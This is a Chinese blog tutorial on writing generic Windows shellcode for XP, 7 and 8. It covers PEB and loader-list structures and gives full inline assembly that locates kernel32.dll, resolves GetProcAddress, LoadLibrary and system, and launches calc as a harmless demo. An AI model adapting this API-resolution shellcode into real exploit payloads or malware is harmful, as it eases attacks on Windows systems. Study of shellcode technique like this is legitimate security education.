WinXP/Win7/Win8通用shellcode

4 篇文章 0 订阅


转自http://hi.baidu.com/egodcore/item/c13e67fe197c940fc6dc45f5

众所周知,在windows xp时代未启用ASLR(Address space layout randomization,堆栈地址随机分布),我们在编写shellcode可以利用硬编码法,将地址写入shellcode,但是这种方法的缺点很明显--不具备通用性。在xp sp2上能跑起来的,在xp sp3上有可能就运行不了。

因为在windows 7中_PEB_LDR_DATA表和以前的系统有了改变,直接查询0x08方式在win7下失效,所以要通过遍历的方法找到Kernel32.dll的基址。

首先我们看PEB的结构

 

ntdll!_PEB
    + 0x000   InheritedAddressSpace : UChar
    + 0x001   ReadImageFileExecOptions : UChar
    + 0x002   BeingDebugged    : UChar
    + 0x003   SpareBool        : UChar
    + 0x004   Mutant           : Ptr32 Void
    + 0x008   ImageBaseAddress : Ptr32 Void
    + 0x00c   Ldr              : Ptr32 _PEB_LDR_DATA
    + 0x010   ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
    + 0x014   SubSystemData    : Ptr32 Void
    + 0x018   ProcessHeap      : Ptr32 Void
    + 0x01c   FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION
    + 0x020   FastPebLockRoutine : Ptr32 Void
    + 0x024   FastPebUnlockRoutine : Ptr32 Void
    + 0x028   EnvironmentUpdateCount : Uint4B
    + 0x02c   KernelCallbackTable : Ptr32 Void
    + 0x030   SystemReserved   : [ 1 ] Uint4B
    + 0x034   AtlThunkSListPtr32 : Uint4B
    + 0x038   FreeList         : Ptr32 _PEB_FREE_BLOCK
    + 0x03c   TlsExpansionCounter : Uint4B
    + 0x040   TlsBitmap        : Ptr32 Void
    + 0x044   TlsBitmapBits    : [ 2 ] Uint4B
    + 0x04c   ReadOnlySharedMemoryBase : Ptr32 Void
    + 0x050   ReadOnlySharedMemoryHeap : Ptr32 Void
    + 0x054   ReadOnlyStaticServerData : Ptr32 Ptr32 Void
    + 0x058   AnsiCodePageData : Ptr32 Void
    + 0x05c   OemCodePageData  : Ptr32 Void
    + 0x060   UnicodeCaseTableData : Ptr32 Void

0x0ch为)PEB_LDR_DATA结构,下面是它的结构

ntdll!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
   +0x024 EntryInProgress  : Ptr32 Void


其实,LIST_ENTRY就是一双向链表,我们注意看_PEB_LDR_DATA结构这几项

+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY

它们指向以下结构_LDR_DATA_TABLE_ENTRY也就是_LDR_MODULE

ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

用图片表示一下上述文字


可以通过遍历_LDR_MODULE来获得kernel32.dll的基址,然后再通过字符串比较寻找GetProcAddress的地址,随后就一马平川了

int main()
{
    __asm{
        push ebp;
        mov esi,fs:0x30;            //PEB
        mov esi, [esi + 0x0C];   //+0x00c Ldr              : Ptr32 _PEB_LDR_DATA
        mov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY
next_module:
        mov ebp, [esi + 0x08];
        mov edi, [esi + 0x20];
        mov esi, [esi];
        cmp [edi + 12*2],cl;
        jne next_module;
        mov edi,ebp;
 
        //寻找GetProcAddress地址
        sub esp,100;
        mov ebp,esp;
        mov eax,[edi+3ch];//PE头
        mov edx,[edi+eax+78h]
        add edx,edi;
        mov ecx,[edx+18h];//函数数量
        mov ebx,[edx+20h];
        add ebx,edi;
search:
        dec ecx;
        mov esi,[ebx+ecx*4];        
        add esi,edi;         
        mov eax,0x50746547;        
        cmp [esi],eax;         
        jne search;
        mov eax,0x41636f72;          
        cmp [esi+4],eax;   
        jne search;
        mov ebx,[edx+24h];
        add ebx,edi;
        mov cx,[ebx+ecx*2];
        mov ebx,[edx+1ch];
        add ebx,edi;
        mov eax,[ebx+ecx*4];
        add eax,edi;
        mov [ebp+76],eax;//eax为GetProcAddress地址
 
        //获取LoadLibrary地址
        push 0;
        push 0x41797261;
        push 0x7262694c;
        push 0x64616f4c;
        push esp
        push edi
        call [ebp+76]
        mov[ebp+80],eax;
 
        //获取ExitProcess地址
        push 0;
        push 0x737365;
        push 0x636f7250;
        push 0x74697845;
        push esp;
        push edi;
        call [ebp+76];
        mov [ebp+84],eax;
 
        //加载msvcrt.dll   LoadLibrary("msvcrt")
        push 0;
        push 0x7472;
        push 0x6376736d;
        push esp;
        call [ebp+80];
        mov edi,eax;
 
        //获取system地址
        push 0;
        push 0x6d65;
        push 0x74737973;
        push esp;
        push edi;
        call [ebp+76];
        mov [ebp+88],eax;
 
        //system("calc")
        push 0;
        push 0x636c6163;
        push esp;
        call [ebp+88];
 
        //ExitProcess
        call [ebp+84];
    }
    return 0;
}

因为写shellcode的时候没有考虑堆栈平衡,所以运行shellcode的时候会报错,所以我们在结束时直接调用ExitProcess来关闭进程。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值